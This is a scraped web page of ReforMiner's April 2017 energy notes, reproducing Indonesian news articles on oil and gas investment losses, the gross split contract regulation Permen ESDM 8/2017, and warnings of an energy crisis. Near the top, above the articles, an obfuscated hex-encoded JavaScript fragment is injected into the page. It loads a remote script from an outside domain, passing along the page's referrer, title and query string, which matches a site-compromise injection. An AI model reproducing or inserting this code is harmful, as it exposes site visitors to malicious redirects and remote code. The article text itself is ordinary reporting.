ReforMiner Quartely Energy Notes

ReforMiner Quarterly Energy Notes_April 2017 \x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Tanpa Migas, Indonesia Kehilangan Investasi Hingga Rp 300 Triliun

KATADATA; Rabu 26/4/2017, 19.56 WIB

“Katakanlah Bahan Bakar Minyak (BBM) tidak ada dalam satu bulan saja, bisa dibayangkan distribusi berhenti total dan terjadi kekacauan nasional,” Industri minyak dan gas bumi (migas) berperan penting dan berkontribusi bagi perekonomian Indonesia. Jika tidak ada sektor ini, Indonesia terancam kehilangan investasi sebesar Rp 300 triliun setiap tahun. Angka ini hampir setengah dari realisasi investasi yang tercatat di Badan Koordinasi Penanaman Modal (BKPM) sepanjang 2016 yang mencapai Rp 612,8 triliun.

Direktur Eksekutif Reforminer Komaidi Notonegoro mengatakan, angka tersebut mengacu pada besaran realisasi investasi migas tertinggi sejak enam tahun lalu, yakni mencapai US$ 22,37 pada 2013 lalu. Namun pencapaian itu terus menurun hingga tahun lalu sebesar US$20,42 miliar.

Selain itu, tidak adanya sektor migas juga membuat kehilangan penerimaan negara dari pajak dan nonpajak sekitar Rp 90 triliun hingga Rp 350 triliun, tergantung harga minyak atau gas bumi. Pemerintah juga harus merogoh kocek untuk mengimpor migas sekitar US$ 50 miliar per tahun, atau sekitar 42 persen dari total cadangan devisa. Jumlah ini belum termasuk impor elpiji, pelumas dan produk turunan lain.

Namun, kalaupun pemerintah memiliki dana, belum tentu juga mendapatkan sumber energi dari impor karena harus bersaing dengan negara lain. Kami punya saingan seperti Jepang, India, Cina yang negaranya juga tidak punya pasokan energi yang besar,” kata dia.

Dampak lainnya adalah penciptaan nilai tambah ekonomi terhadap sektor pendukung dan pengguna migas akan berkurang siginifikan.Padahal sektor pendukung seperti industri penunjang migas dapat berkontribusi hingga 62,67 persen terhadap Produk Domestik Bruto. Sementara kontribusi sektor pengguna hulu migas seperti industri pupuk, petrokimia atau kilang mencapai 25,45 persen.

Ada juga dampak ke tenaga kerja dan pendapatan masyarakat. Setiap Rp 1 triliun investasi hulu dapat menyerap tenaga kerja 13.670 dan dapat meningkatkan pendapatan rumah tangga dari gaji sebesar Rp473,76 miliar.

Karena itulah, Komaidi meminta pemerintah menaruh perhatian terhadap sektor migas. “Katakanlah Bahan Bakar Minyak (BBM) tidak ada dalam satu bulan saja, bisa dibayangkan distribusi berhenti total dan terjadi kekacauan nasional,” kata dia di Jakarta, Rabu (26/4).

Pemerintah juga terus menggairahkan iklim investasi untuk mencari migas. Jika proses pencarian migas terhenti, cadangan akan menurun. Padahal kemampuan cadangan terbukti minyak saat ini sebesar 3,7 miliar barel.

Rasio kemampuan cadangan produksi juga sekitar 12 tahun. Angka itu hanya sekitar 0,2 persen terhadap cadangan minyak dunia. “Jadi cadangan cuma sebagian kecil,” kata dia.

Sementara kemampuan cadangan terbukti gas sebesar 100,30 triliun kaki kubik (tcf), rasio kemampuan cadangan produksi sekitar 37,8 tahun. Adapun kemampuan cadangan sekitar 1,52 persen terhadap cadangan gas dunia.

Di tempat yang sama, Ketua Asosiasi Perusahaan Pemboran Minyak, Gas dan Panas Bumi Indonesia (APMI) Wargono Soenarko mengatakan saat ini industri jasa penunjang seperti pengeboran juga sudah menurun. Penyebabnya adalah rendahnya harga minyak dunia.

Sebagai gambaran, saat harga minyak mencapai US$114 per barel, anggota APMI bisa mencapai 380 perusahaan. Kini tinggal 380 perusahaan.

Jika terus berlanjut maka industri ini bisa lenyap. Padahal industri ini memiliki efek berganda besar. Satu pengeboran sumur migas di darat yang menggunakan satu rig saja membutuhkan 80-100 orang. “Bayangkan kalau tidak ada migas, tidak ada efek berantai seperti itu,” kata dia.

Sementara menurut Anggota Ikatan Ahli Teknik Perminyakan Indonesia (IATMI) Tutuka Ariadji, pemerintah sulit menjalankan perekonomian tanpa adanya industri migas. Contohnya proyek listrik 35 GW berbahan bakar minyak atau gas. “Bagaimana program listrik bisa tercapai kalau migas tidak ada?” kata dia.

Tutuka meminta pemerintah segera mengambil tindakan untuk pemanfaatan sumber gas yang hingga kini belum juga berproduksi, khususnya di kawasan timur Indonesia seperti Blok Masela dan Blok Kasuri. Potensi gas dari kedua blok itu dinilainya dapat membuat kawasan Indonesia bagian timur bisa makmur dengan adanya sumber pasokan gas untuk menyokong pembangunan industri di sekitar blok.

Klaim Pemerintah Soal Efisiensi Gross Split Migas Dipertanyakan

(Katadata.co.id, 27 April 2017)

Klaim pemerintah mengenai efisiensi dari penyederhanaan administrasi dan birokasi skema kontrak bagi hasil gross splitminyak dan gas bumi (migas)  mengundang pertanyaan. Alasannya pengendalian manajemen dan kegiatan operasional masih mendasarkan pada model kontrak lama.

Catatan dari Reforminer Institute yang didirikan Pri Agung Rakhmanto mempersoalkan setidaknya tiga pasal dalam Peraturan Menteri Energi dan Sumber Daya Mineral (ESDM) Nomor 8 tahun 2017 yang mengatur mengenai manajemen hulu migas. Poin tersebut ada di Pasal 15, 16 dan 23.

Pasal 15 Permen ESDM 8/2017 menyebutkan peran SKK Migas di dalam pemberian persetujuan atau penolakan terhadap rencana kerja dan anggaran yang diajukan kontraktor. Kemudian Pasal 16 juga mengatur tentang persetujuan atau penolakan terhadap rencana pengembangan lapangan (POD) yang pertama kali maupun yang selanjutnya.

Sedangkan Pasal 23 mengatur tentang peran SKK Migas di dalam pengendalian dan pengawasan terhadap kegiatan operasional hulu migas. Ketentuan-ketentuan tersebut menimbulkan pertanyaan tentang seberapa jauh pengendalian manajemen kegiatan di dalam sistem gross split yang diterapkan akan berbeda dengan Production Sharing Contract (PSC) sebelumnya, kata Pri dikutip dari Reforminer Quarterly Energy Notes periode April 2017, Rabu (27/4).

Wakil Menteri ESDM Arcandra Tahar pernah mengatakan kelebihan gross split adalah proses pengadaan yang lebih cepat. Contohnya proses desain awal (Pre-FEED) yang hanya membutuhkan proses enam bulan. Selama ini waktu penyelesaian administrasinya bisa mencapai 8 bulan hingga 1,5 tahun.

Namun, laporan Reforminer menilai esensi dari penerapan model gross split masih sebatas mengubah dasar dan besaran angka bagi hasil yang digunakan. Dalam Pasal 5, basis bagi hasil minyak bumi sebesar 57 persen untuk negara dan 43 persen milik kontraktor. Sedangkan gas bumi 52 persen bagian negara dan 48 persen kontraktor.

Bagi hasil ini masih ditambah dengan komponen variabel. Yang terdiri dari status Wilayah Kerja, lokasi lapangan, kedalaman reservoir, ketersediaan infrastruktur pendukung, jenis reservoir, kandungan CO2, kandungan H2S, berat jenis minyak bumi, Tingkat Komponen Dalam Negeri (TKDN) pada masa pengembangan lapangan, dan tahapan produksi.

Pada model bagi hasil seperti itu ternyata juga bisa memunculkan masalah. Masalahnya adalah bagaimana menerapkan dan memonitor komponen variabel yang berbeda-beda di tiap lapangan.

Kemudian, bagaimana memasukkan porsi pengembalian investasi yang ada dalam Peraturan Menteri ESDM Nomor 26 tahun 2017 ke dalam angka bagi hasil. Apalagi aturan itu menyebutkan jika perpanjangan kontrak menggunakan model gross split, maka biaya investasi yang belum dikembalikan dapat ditagihkan melalui perhitungan dalam bagian kontraktor.

Persoalan lain yang disoroti Reforminer dalam aturan gross split adalah kepemilikan aset. Pasal 21 Permen ESDM 8/2017 dianggap memiliki kontradiksi logika karena barang yang dibeli kontraktor menjadi milik negara.

Ada juga persoalan pemberlakuan kontrak, yang diatur pada Pasal 24 Permen ESDM Nomor 8 tahun 2017. Klausul tersebut menimbulkan pertanyaan, apakah kontrak dan kontraktor eksistingnya tidak akan diperpanjang jika pemerintah ingin menerapkan gross split.

Apalagi Pasal 24 berbunyi, gross split diberlakukan terhadap wilayah kerja yang akan berakhir jangka waktu kontraknya dan tidak diperpanjang. Sementara wilayah kerja yang kontraknya diperpanjang dapat memilih untuk menggunakan model kontrak semula atau kontrak bagi hasil gross split.

Jadi, kajian Reforminer mempertanyakan tujuan dari skema gross split. “Benar-benar untuk efisiensi dan penyederhanaan administrasi dan manajemen atau sebatas short cut untuk memperbesar porsi bagian pemerintah, atau untuk hal lain,” ujar Pri.

Untuk itu, pemerintan perlu melakukan beberapa perbaikan, baik di dalam aspek regulasi maupun di dalam tahapan implementasi model kontrak bagi hasil gross split ini. Salah satu yang direkomendasikan ReforMiner adalah agar di dalam peraturan yang ada disebutkan secara tegas bahwa kontrak bagi hasil gross split adalah hanya merupakan sebuah pilihan, dan bukan sebuah keharusan mutlak ataupun sebuah keharusan yang dikondisikan.

Pengamat Minta Cegah Krisis Migas jadi Krisis Energi

(Metrotvnews.com,2 April 2017)

Metrotvnews.com, Jakarta: Peneliti dan pengamat energi Pri Agung Rakhmanto menilai krisis harga minyak dunia telah membawa dampak negatif pada berbagai sektor di luar minyak dan gas bumi (migas).

“Tidak dapat dipungkiri bahwa Indonesia sedang memasuki krisis energi, dan dampak dari kondisi ini juga mulai dirasakan oleh sektor-sektor lain. Sikap pemerintah yang tegas sangat diperlukan agar risiko krisis energi di dalam negeri tidak berdampak lebih luas pada industri lainnya,” kata Pri Agung Rakhmanto dikutip dari antara, Minggu 2 April 2017.

Menurut dia, efek domino dari krisis harga minyak menjalar bahkan sampai ke Indonesia, yang berakibat pada tersendatnya pertumbuhan ekonomi, terkendalanya kemajuan pembangunan pembangkit listrik, turunnya penyerapan angka tenaga kerja, tertundanya proyek infrastruktur, hingga dampak sosial lainnya yang lebih luas di masyarakat.

Akibat langsung yang dirasakan pada sektor migas adalah berkurangnya kegiatan eksplorasi untuk mencari cadangan migas yang baru, berkurangnya program pengeboran dan perawatan sumur, pengurangan tenaga kerja, serta turunnya minat investor terhadap penawaran wilayah-wilayah kerja baru oleh Pemerintah.Apabila permasalahan ini tidak segera diselesaikan, Indonesia harus bersiap memasuki babak baru krisis energi.

Beberapa daerah di Indonesia mulai mengalami penundaan pelaksanaan proyek-proyek pembangunan dan perlambatan kinerja perekonomian, terutama di daerah-daerah penghasil migas.

Tekanan APBD yang paling besar terjadi di Provinsi Riau, Dana Bagi Hasil (DBH) migas berkurang secara signifikan sejak 2014-2016, yaitu sebesar Rp4,02 triliun. Secara tidak langsung dampak dari krisis ini telah mempersempit peluang masyarakat untuk berusaha dalam sektor ekonomi lainnya.

Di sisi lain, ketidakpastian pasokan gas yang diperuntukkan Pembangkit Listrik Tenaga Gas (PLTG), juga menjadi salah satu kendala pada proyek 35.000 MW yang sedang dikembangkan pemerintah. Belum lagi Perusahaan Listrik Negara (PLN) sebagai operator masih sibuk berkutat pada persoalan harga gas dengan pihak suplier. Sampai sekarang belum dapat dipastikan pasokan gas akan diperoleh dari lapangan gas yang mana.

Pri Agung Rakhmanto mengimbau pemerintah segera mengambil berbagai langkah strategis untuk mengatasi dampak dari krisis migas ini. DIa hanya mengatakan bahwa kebijakan yang mendorong investasi migas sangat diperlukan demi kembali meningkatnya kegiatan eksplorasi dan eksploitasi migas, terutama untuk menemukan sumber-sumber cadangan baru di Indonesia.

Pada 2030, kebutuhan energi Indonesia diperkirakan meningkat menjadi 2,8 juta barrel oil equivalent (BOE), atau hampir tiga kali lipat dari kebutuhan energi saat ini. Dibutuhkan langkah tepat dari pemerintah untuk menjamin ketersediaan energi di masa mendatang khususnya yang berasal dari produksi migas domestik.

Penetapan Peraturan Menteri (Permen) ESDM No. 08/2017 yang mengatur perubahan aturan kontrak bagi hasil sektor migas menjadi gross split sebelumnya cost recovery oleh sebagian kalangan dipandang kurang pas dan mengurangi daya tarik investasi, karena pembuatan aturan tersebut lebih cenderung hanya memperhatikan satu pihak saja. Seharusnya, pembuatan kebijakan memperhatikan kepentingan kedua belah pihak, yakni Pemerintah dan Investor.

“Kepemilikan barang dan peralatan yang dibeli kontraktor menjadi milik/ kekayaan negara, fleksibilitas untuk memilih skema antara gross split atau cost recovery yang masih ambigu dan angka bagi hasil yang ditetapkan pemerintah dalam peraturan tersebut, adalah beberapa hal dari Permen ESDM No. 08/2017 yang kiranya perlu di kaji ulang,” kata Pri Agung.